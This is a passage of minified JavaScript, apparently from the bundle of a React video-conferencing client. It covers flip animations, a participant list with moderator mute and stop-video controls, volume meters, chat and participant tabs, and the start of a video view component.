r&&r[e.dataset.flipId]&&r[e.dataset.flipId].onExit})).forEach((function(e){var t=e.parentNode;if(e.closest){var n=e.closest("[data-exit-container]");n&&(t=n)}var r=c.findIndex((function(e){return e[0]===t}));-1===r&&(c.push([t,t.getBoundingClientRect()]),r=c.length-1),s[e.dataset.flipId]=c[r][1],u[e.dataset.flipId]=t}));var d=Kn(i),f=d.map((function(e){var t=e[0],n=e[1],o={};if(r&&r[t.dataset.flipId]&&r[t.dataset.flipId].onExit){var a=s[t.dataset.flipId];Sn(o,{element:t,parent:u[t.dataset.flipId],childPosition:{top:n.top-a.top,left:n.left-a.left,width:n.width,height:n.height}})}return[t.dataset.flipId,{rect:n,opacity:parseFloat(window.getComputedStyle(t).opacity||"1"),domDataForExitAnimations:o}]})).reduce(Yn,{});return function(e,t){Object.keys(e).forEach((function(t){e[t].destroy&&e[t].destroy(),e[t].onAnimationEnd&&e[t].onAnimationEnd(!0),delete e[t]})),t.forEach((function(e){e.style.transform="",e.style.opacity=""}))}(a,i.concat(l)),{flippedElementPositions:f,cachedOrderedFlipIds:d.map((function(e){return e[0].dataset.flipId}))}};(function(){function e(e){this.applyTransformOrigin=!0,Sn(this,e),this.inProgressAnimations={},this.flipCallbacks={},this.recordBeforeUpdate=this.recordBeforeUpdate.bind(this),this.update=this.update.bind(this),this.addFlipped=this.addFlipped.bind(this),this.addInverted=this.addInverted.bind(this)}var t=e.prototype;t.recordBeforeUpdate=function(){this.snapshot=Jn({element:this.element,flipCallbacks:this.flipCallbacks,inProgressAnimations:this.inProgressAnimations})},t.update=function(e,t){this.snapshot&&(Xn({flippedElementPositionsBeforeUpdate:this.snapshot.flippedElementPositions,cachedOrderedFlipIds:this.snapshot.cachedOrderedFlipIds,containerEl:this.element,inProgressAnimations:this.inProgressAnimations,flipCallbacks:this.flipCallbacks,applyTransformOrigin:this.applyTransformOrigin,spring:this.spring,debug:this.debug,staggerConfig:this.staggerConfig,handleEnterUpdateDelete:this.handleEnterUpdateDelete,decisionData:{previous:e,current:t},onComplete:this.onComplete,onStart:this.onStart}),delete this.snapshot)},t.addFlipped=function(e){var t=e.element,n=e.flipId,r=e.opacity,o=e.translate,a=e.scale,i=e.transformOrigin,l=e.spring,s=e.stagger,c=e.delayUntil,u=e.onAppear,d=e.onStart,f=e.onSpringUpdate,p=e.onComplete,m=e.onExit,h=e.shouldFlip,v=e.shouldInvert;if(!t)throw new Error("no element provided");if(!n)throw new Error("No flipId provided");var g={scale:a,translate:o,opacity:r,transformOrigin:i,spring:l,stagger:s,delayUntil:c};g.scale||g.translate||g.opacity||Sn(g,{translate:!0,scale:!0,opacity:!0}),n&&(t.dataset.flipId=String(n)),t.dataset.flipConfig=JSON.stringify(g),this.flipCallbacks[n]={shouldFlip:h,shouldInvert:v,onAppear:u,onStart:d,onSpringUpdate:f,onComplete:p,onExit:m}},t.addInverted=function(e){var t=e.element,n=e.parent,r=e.opacity,o=e.translate,a=e.scale,i=e.transformOrigin;if(!t)throw new Error("no element provided");if(!n)throw new Error("parent must be provided");var l=n.dataset.flipId,s={scale:a,translate:o,opacity:r,transformOrigin:i};s.scale||s.translate||s.opacity||Sn(s,{translate:!0,scale:!0,opacity:!0}),t.dataset.inverseFlipId=l,t.dataset.flipConfig=JSON.stringify(s)}})(),new Bn;function Qn(e,t){if(null==e)return{};var n,r,o={},a=Object.keys(e);for(r=0;r<a.length;r++)t.indexOf(n=a[r])>=0||(o[n]=e[n]);return o}var Zn=Object(r.createContext)({}),er=Object(r.createContext)("portal"),tr=function(e){var t,n;function r(){var t;return(t=e.apply(this,arguments)||this).inProgressAnimations={},t.flipCallbacks={},t.el=void 0,t}n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n;var a=r.prototype;return a.getSnapshotBeforeUpdate=function(e){return e.flipKey!==this.props.flipKey&&this.el?Jn({element:this.el,flipCallbacks:this.flipCallbacks,inProgressAnimations:this.inProgressAnimations,portalKey:this.props.portalKey}):null},a.componentDidUpdate=function(e,t,n){this.props.flipKey!==e.flipKey&&this.el&&Xn({flippedElementPositionsBeforeUpdate:n.flippedElementPositions,cachedOrderedFlipIds:n.cachedOrderedFlipIds,containerEl:this.el,inProgressAnimations:this.inProgressAnimations,flipCallbacks:this.flipCallbacks,applyTransformOrigin:this.props.applyTransformOrigin,spring:this.props.spring,debug:this.props.debug,portalKey:this.props.portalKey,staggerConfig:this.props.staggerConfig,handleEnterUpdateDelete:this.props.handleEnterUpdateDelete,decisionData:{previous:e.decisionData,current:this.props.decisionData},onComplete:this.props.onComplete,onStart:this.props.onStart})},a.render=function(){var e=this,t=this.props,n=t.portalKey,r=o.a.createElement(Zn.Provider,{value:this.flipCallbacks},o.a.createElement(t.element,{className:t.className,ref:function(t){return e.el=t}},this.props.children));return n&&(r=o.a.createElement(er.Provider,{value:n},r)),r},r}(r.Component);tr.defaultProps={applyTransformOrigin:!0,element:"div"};var nr=function(e){var t,n=e.children,o=e.flipId,a=e.inverseFlipId,i=e.portalKey,l=Qn(e,["children","flipId","inverseFlipId","portalKey"]),s=n,c=function(e){return"function"==typeof e}(s);if(!c)try{s=r.Children.only(n)}catch(e){throw new Error("Each Flipped component must wrap a single child")}l.scale||l.translate||l.opacity||Cn.assign(l,{translate:!0,scale:!0,opacity:!0});var u=((t={})[xn]=JSON.stringify(l),t);return void 0!==o?u[kn]=String(o):a&&(u[Pn]=String(a)),void 0!==i&&(u[An]=i),c?s(u):Object(r.cloneElement)(s,u)},rr=function(e){var t=e.children,n=e.flipId,r=e.shouldFlip,a=e.shouldInvert,i=e.onAppear,l=e.onStart,s=e.onStartImmediate,c=e.onComplete,u=e.onExit,d=e.onSpringUpdate,f=Qn(e,["children","flipId","shouldFlip","shouldInvert","onAppear","onStart","onStartImmediate","onComplete","onExit","onSpringUpdate"]);return t?f.inverseFlipId?o.a.createElement(nr,Object.assign({},f),t):o.a.createElement(er.Consumer,null,(function(e){return o.a.createElement(Zn.Consumer,null,(function(p){return Cn.isObject(p)&&n&&(p[n]={shouldFlip:r,shouldInvert:a,onAppear:i,onStart:l,onStartImmediate:s,onComplete:c,onExit:u,onSpringUpdate:d}),o.a.createElement(nr,Object.assign({flipId:n},f,{portalKey:e}),t)}))})):null};rr.displayName="Flipped";var or,ar=n("09e8417d9f4fe86cb094"),ir=n("9fa9015eec56913da22d"),lr=n("29614703306b99b82de2"),sr=n.n(lr),cr=n("3fe6c5524e486c58477e"),ur=n.n(cr),dr=n("e3fd78231c0d026745bd"),fr=n.n(dr),pr=n("37b94c813e2a27b155cf"),mr=n.n(pr),hr=n("5062ac474163c9859824"),vr=n.n(hr);function gr(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function br(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function yr(e,t,n,r){or||(or="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:or,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function wr(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,a=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(a.push(r.value),!t||a.length!==t);i=!0);}catch(e){l=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(l)throw o}}return a}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Sr(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Sr(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Sr(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Or,Mr=yr(fr.a,{}),Cr=yr(mr.a,{}),kr=yr(sr.a,{}),Pr=yr(ur.a,{}),xr=Object(Ne.b)(Object(a.connect)((function(e,t){var n=t.id,r=ke();return function(e){return function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?gr(Object(n),!0).forEach((function(t){br(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):gr(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({peer:e.peers[n]},r(e,n))}}),(function(e){return{openRolesManager:function(t){e(d.t(t)),e(d.s(!0))}}}),null,{areStatesEqual:function(e,t){return t.peers===e.peers&&t.consumers===e.consumers}})(Object(s.a)((function(e){return{root:{width:"100%",overflow:"hidden",cursor:"auto",display:"flex"},avatar:{borderRadius:"50%",height:"2rem",marginTop:e.spacing(.5)},peerInfo:{fontSize:"1rem",display:"flex",paddingLeft:e.spacing(1),flexGrow:1,alignItems:"center"},indicator:{margin:e.spacing(1)},buttons:{padding:e.spacing(1)},moreAction:{margin:e.spacing(.5,0,.5,1.5)},moreActionsHeader:{fontWeight:700,marginLeft:e.spacing(2),marginRight:e.spacing(2),marginTop:e.spacing(1)},moderator:{color:"rgba(220, 0, 78, 1)"}}}))((function(e){var t=Object(xe.a)(),n=wr(Object(r.useState)(null),2),o=n[0],a=(n[1],wr(Object(r.useState)(null),2)),i=(a[0],a[1],e.roomClient),l=e.isModerator,s=e.spotlight,c=e.peer,u=(e.openRolesManager,e.micConsumer),d=e.webcamConsumer,f=e.screenConsumer,p=e.isSelected,m=e.children,h=e.classes,v=(Boolean(d)&&!d.locallyPaused&&d.remotelyPaused,Boolean(u)&&!u.locallyPaused&&!u.remotelyPaused),g=(Boolean(f)&&!f.locallyPaused&&f.remotelyPaused,c.picture||Ze);Boolean(o);return yr("div",{className:h.root},void 0,yr("img",{alt:"Peer avatar",className:h.avatar,src:g}),yr("div",{className:h.peerInfo},void 0,c.displayName),c.raisedHand&&yr(ft.a,{className:h.buttons,style:{color:ar.a[500]},disabled:!l||c.raisedHandInProgress,onClick:function(){i.lowerPeerHand(c.id)}},void 0,Mr),p?yr(ir.a,{title:t.formatMessage({id:"tooltip.inSpotlight",defaultMessage:"In spotlight"})},void 0,yr(ft.a,{className:h.buttons,style:{color:ar.a[500]},onClick:function(){i.removeSelectedPeer(c.id)}},void 0,Cr)):s&&yr(ir.a,{title:t.formatMessage({id:"tooltip.isSpeaker",defaultMessage:"Active speaker"})},void 0,yr(vr.a,{className:h.indicator,style:{color:ar.a[500]}})),yr(ir.a,{title:t.formatMessage({id:"tooltip.muteParticipant",defaultMessage:"Mute audio"}),placement:"bottom"},void 0,yr(ft.a,{"aria-label":t.formatMessage({id:"tooltip.muteParticipant",defaultMessage:"Mute audio"}),color:v?"primary":"secondary",disabled:c.peerAudioInProgress,className:h.buttons,onClick:function(){v?i.modifyPeerConsumer(c.id,"mic",!0):i.modifyPeerConsumer(c.id,"mic",!1)}},void 0,v?kr:Pr)),m)}))));function Ar(e,t,n,r){Or||(Or="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Or,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var Er,Tr=Object(Ne.b)(Object(a.connect)((function(e){return{me:e.me,settings:e.settings}}),null,null,{areStatesEqual:function(e,t){return t.me===e.me&&t.settings===e.settings}})(Object(s.a)((function(e){return{root:{width:"100%",overflow:"hidden",cursor:"auto",display:"flex"},avatar:{borderRadius:"50%",height:"2rem",marginTop:e.spacing(.5)},peerInfo:{fontSize:"1rem",display:"flex",paddingLeft:e.spacing(1),flexGrow:1,alignItems:"center"},buttons:{padding:e.spacing(1)},green:{color:"rgba(0, 153, 0, 1)"}}}))((function(e){Object(xe.a)(),e.roomClient;var t=e.me,n=e.settings,r=e.classes,o=t.picture||Ze;return Ar("div",{className:r.root},void 0,Ar("img",{alt:"My avatar",className:r.avatar,src:o}),Ar("div",{className:r.peerInfo},void 0,n.displayName))}))));function jr(e,t,n,r){Er||(Er="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Er,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var _r,Nr=jr(w.a,{id:"room.muteAll",defaultMessage:"Mute all"}),Ir=jr(w.a,{id:"room.stopAllVideo",defaultMessage:"Stop all video"}),Rr=jr(w.a,{id:"room.stopAllScreenSharing",defaultMessage:"Stop all screen sharing"}),Lr=jr(w.a,{id:"room.closeMeeting",defaultMessage:"Close meeting"}),Dr=Object(Ne.b)(Object(a.connect)((function(e){return{room:e.room}}),null,null,{areStatesEqual:function(e,t){return t.room===e.room}})(Object(s.a)((function(e){return{root:{padding:e.spacing(1),display:"flex"},divider:{marginLeft:e.spacing(2)}}}))((function(e){var t=Object(xe.a)(),n=e.roomClient,r=e.room,o=e.classes;return jr("div",{className:o.root},void 0,jr(Re.a,{"aria-label":t.formatMessage({id:"room.muteAll",defaultMessage:"Mute all"}),variant:"contained",color:"secondary",disabled:r.muteAllInProgress,onClick:function(){return n.muteAllPeers()}},void 0,Nr),jr("div",{className:o.divider}),jr(Re.a,{"aria-label":t.formatMessage({id:"room.stopAllVideo",defaultMessage:"Stop all video"}),variant:"contained",color:"secondary",disabled:r.stopAllVideoInProgress,onClick:function(){return n.stopAllPeerVideo()}},void 0,Ir),jr("div",{className:o.divider}),jr(Re.a,{"aria-label":t.formatMessage({id:"room.stopAllScreenSharing",defaultMessage:"Stop all screen sharing"}),variant:"contained",color:"secondary",disabled:r.stopAllScreenSharingInProgress,onClick:function(){return n.stopAllPeerScreenSharing()}},void 0,Rr),jr("div",{className:o.divider}),jr(Re.a,{"aria-label":t.formatMessage({id:"room.closeMeeting",defaultMessage:"Close meeting"}),variant:"contained",color:"secondary",disabled:r.closeMeetingInProgress,onClick:function(){return n.closeMeeting()}},void 0,Lr))}))));function Fr(e,t,n,r){_r||(_r="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:_r,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var Br,Vr=Object(a.connect)((function(e,t){return function(e){return e.peerVolumes[t.id]>e.settings.noiseThreshold?{volume:Math.round(-100*(e.peerVolumes[t.id]-e.settings.noiseThreshold)/e.settings.noiseThreshold/10)}:{volume:0}}}))(Object(s.a)((function(){return{volumeLarge:{position:"absolute",top:0,bottom:0,right:2,width:10,display:"flex",flexDirection:"column",justifyContent:"center",alignItems:"center"},largeBar:{width:6,borderRadius:6,background:"rgba(yellow, 0.65)",transitionProperty:"height background-color",transitionDuration:"0.25s","&.level0":{height:0,backgroundColor:"rgba(255, 255, 0, 0.65)"},"&.level1":{height:"10%",backgroundColor:"rgba(255, 255, 0, 0.65)"},"&.level2":{height:"20%",backgroundColor:"rgba(255, 255, 0, 0.65)"},"&.level3":{height:"30%",backgroundColor:"rgba(255, 255, 0, 0.65)"},"&.level4":{height:"40%",backgroundColor:"rgba(255, 165, 0, 0.65)"},"&.level5":{height:"50%",backgroundColor:"rgba(255, 165, 0, 0.65)"},"&.level6":{height:"60%",backgroundColor:"rgba(255, 165, 0, 0.65)"},"&.level7":{height:"70%",backgroundColor:"rgba(255, 100, 0, 0.65)"},"&.level8":{height:"80%",backgroundColor:"rgba(255, 60, 0, 0.65)"},"&.level9":{height:"90%",backgroundColor:"rgba(255, 30, 0, 0.65)"},"&.level10":{height:"100%",backgroundColor:"rgba(255, 0, 0, 0.65)"}},volumeSmall:{float:"right",display:"flex",flexDirection:"row",justifyContent:"flex-start",width:"1vmin",position:"relative",backgroundSize:"75%"},smallBar:{flex:"0 0 auto",backgroundSize:"75%",backgroundRepeat:"no-repeat",backgroundColor:"rgba(0, 0, 0, 1)",cursor:"pointer",transitionProperty:"opacity, background-color",width:3,borderRadius:2,transitionDuration:"0.25s",position:"absolute",top:"50%",transform:"translateY(-50%)","&.level0":{height:0},"&.level1":{height:"0.2vh"},"&.level2":{height:"0.4vh"},"&.level3":{height:"0.6vh"},"&.level4":{height:"0.8vh"},"&.level5":{height:"1.0vh"},"&.level6":{height:"1.2vh"},"&.level7":{height:"1.4vh"},"&.level8":{height:"1.6vh"},"&.level9":{height:"1.8vh"},"&.level10":{height:"2.0vh"}}}}))((function(e){var t=e.small,n=e.volume,r=e.classes;return Fr("div",{className:t?r.volumeSmall:r.volumeLarge},void 0,Fr("div",{className:ze()(t?r.smallBar:r.largeBar,"level".concat(n))}))})));function Ur(e){return(Ur="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Hr(e,t,n,r){Br||(Br="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Br,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function zr(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Wr(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function $r(e,t){return($r=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function qr(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Gr(e);if(t){var o=Gr(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Yr(this,n)}}function Yr(e,t){return!t||"object"!==Ur(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Gr(e){return(Gr=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Kr,Xr=Hr(w.a,{id:"room.moderatoractions",defaultMessage:"Moderator actions"}),Jr=Hr(Dr,{}),Qr=Hr(w.a,{id:"room.me",defaultMessage:"Me"}),Zr=Hr(Tr,{}),eo=Hr(w.a,{id:"label.participants",defaultMessage:"Participants"}),to=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&$r(e,t)}(i,e);var t,n,r,a=qr(i);function i(){return zr(this,i),a.apply(this,arguments)}return t=i,(n=[{key:"componentDidMount",value:function(){this.node.scrollTop=this.node.scrollHeight}},{key:"getSnapshotBeforeUpdate",value:function(){return this.node.scrollTop+this.node.offsetHeight===this.node.scrollHeight}},{key:"componentDidUpdate",value:function(e,t,n){n&&(this.node.scrollTop=this.node.scrollHeight)}},{key:"render",value:function(){var e=this,t=this.props,n=t.advancedMode,r=t.isModerator,a=t.participants,i=t.spotlights,l=t.selectedPeers,s=t.classes;return o.a.createElement("div",{className:s.root,ref:function(t){e.node=t}},r&&Hr("ul",{className:s.list},void 0,Hr("li",{className:s.listheader},void 0,Xr),Jr),Hr("ul",{className:s.list},void 0,Hr("li",{className:s.listheader},void 0,Qr),Zr),Hr("ul",{className:s.list},void 0,Hr("li",{className:s.listheader},void 0,eo),Hr(tr,{flipKey:a},void 0,a.map((function(e){return Hr(rr,{flipId:e.id},e.id,Hr("li",{className:ze()(s.listItem)},e.id,Hr(xr,{id:e.id,advancedMode:n,isModerator:r,spotlight:i.includes(e.id),isSelected:l.includes(e.id)},void 0,Hr(Vr,{small:!0,id:e.id}))))})))))}}])&&Wr(t.prototype,n),r&&Wr(t,r),i}(o.a.PureComponent),no=Object(a.connect)((function(){var e=Pe(Ie.a.MODERATE_ROOM);return function(t){return{isModerator:e(t),participants:we(t),spotlights:t.room.spotlights,selectedPeers:t.room.selectedPeers}}}),null,null,{areStatesEqual:function(e,t){return t.room.spotlights===e.room.spotlights&&t.room.selectedPeers===e.room.selectedPeers&&t.me.roles===e.me.roles&&t.peers===e.peers}})(Object(s.a)((function(e){return{root:{width:"100%",overflowY:"auto",padding:e.spacing(1)},list:{listStyleType:"none",padding:e.spacing(1),boxShadow:"0 2px 5px 2px rgba(0, 0, 0, 0.2)",backgroundColor:"rgba(255, 255, 255, 1)"},listheader:{fontWeight:"bolder"},listItem:{width:"100%",overflow:"hidden",cursor:"pointer","&:not(:last-child)":{borderBottom:"1px solid #CBCBCB"}}}}))(to)),ro=n("083d6914129797192aa6"),oo=n.n(ro),ao=n("5e56989cfce2721faf6e"),io=n.n(ao);function lo(e,t,n,r){Kr||(Kr="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Kr,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var so,co=["chat","users"],uo=lo(oo.a,{}),fo=lo(io.a,{}),po=lo(kt,{}),mo=lo(no,{}),ho={setToolTab:f},vo=Object(a.connect)((function(e){return{currentToolTab:e.toolarea.currentToolTab,unreadMessages:e.toolarea.unreadMessages,unreadFiles:e.toolarea.unreadFiles,raisedHands:Oe(e),room:e.room}}),ho,null,{areStatesEqual:function(e,t){return t.toolarea.currentToolTab===e.toolarea.currentToolTab&&t.toolarea.unreadMessages===e.toolarea.unreadMessages&&t.toolarea.unreadFiles===e.toolarea.unreadFiles&&t.peers===e.peers}})(Object(s.a)((function(e){return{root:{display:"flex",flexDirection:"column",width:"100%",height:"100%",backgroundColor:e.palette.background.paper},appBar:{display:"flex",flexDirection:"row"},tabsHeader:{flexGrow:1}}}),{withTheme:!0})((function(e){var t=Object(xe.a)(),n=e.currentToolTab,r=e.unreadMessages,o=(e.unreadFiles,e.raisedHands),a=e.closeDrawer,i=e.setToolTab,l=e.classes,s=e.theme;return lo("div",{className:l.root},void 0,lo(Ae.a,{position:"static",color:"default",className:l.appBar},void 0,lo(Ee.a,{className:l.tabsHeader,value:co.indexOf(n),onChange:function(e,t){return i(co[t])},indicatorColor:"primary",textColor:"primary",variant:"fullWidth"},void 0,lo(Te.a,{label:lo(je.a,{color:"secondary",badgeContent:r},void 0,t.formatMessage({id:"label.chat",defaultMessage:"Chat"}))}),lo(Te.a,{label:lo(je.a,{color:"secondary",badgeContent:o},void 0,t.formatMessage({id:"label.participants",defaultMessage:"Participants"}))})),lo(ft.a,{onClick:a},void 0,"ltr"===s.direction?uo:fo)),"chat"===n&&po,"users"===n&&mo)}))),go=n("f6e9dfd9cc0774431940"),bo=n("2534b4d3c75a13998826");function yo(e){return(yo="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function wo(e,t,n,r){so||(so="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:so,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function So(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Oo(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Mo(e,t){return(Mo=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Co(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Po(e);if(t){var o=Po(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return ko(this,n)}}function ko(e,t){return!t||"object"!==yo(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Po(e){return(Po=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}o.a.Component;var xo,Ao=n("77d0de84f1bd99abb3f4"),Eo=n("517d2d5a8104b664e7d5"),To=n("58e600be619768c22055"),jo=n("56b94766eb558a26012b"),_o=n("68dc3989e707b29638a1"),No=n.n(_o),Io=n("f0cbcf981be2a475d8fc"),Ro=n.n(Io),Lo=n("56217a4980f0eeefea43"),Do=n.n(Lo),Fo=n("a88108ea5efaf4df2ead"),Bo=n.n(Fo),Vo=n("bfc2ba38504b76e1a173"),Uo=n.n(Vo);function Ho(e){return(Ho="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function zo(e,t,n,r){xo||(xo="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:xo,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function Wo(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function $o(e,t){return($o=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function qo(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Go(e);if(t){var o=Go(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Yo(this,n)}}function Yo(e,t){return!t||"object"!==Ho(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Go(e){return(Go=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Ko,Xo=new Ao.a("VideoView"),Jo=zo("span",{className:"AcodL"},void 0,"Acod: "),Qo=zo("span",{className:"VcodL"},void 0,"Vcod: "),Zo=zo("span",{className:"ResL"},void 0,"Res: "),ea=zo("span",{className:"RecvL"},void 0,"Recv: "),ta=zo("span",{className:"SendL"},void 0,"Send: "),na=zo("span",{className:"IPlocL"},void 0,"IPloc: "),ra=zo("span",{className:"IPsrvL"},void 0,"IPsrv: "),oa=zo("span",{className:"STLcurrL"},void 0,"STLcurr: "),aa=zo("span",{className:"STLprefL"},void 0,"STLpref: "),ia=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&$o(e,t)}(i,e);var t,n,r,a=qo(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),(t=a.call(this,e)).state={videoWidth:null,videoHeight:null},t._videoTrack=null,t._videoResolutionTimer=null,t}return t=i,(n=[{key:"render",value:function(){var 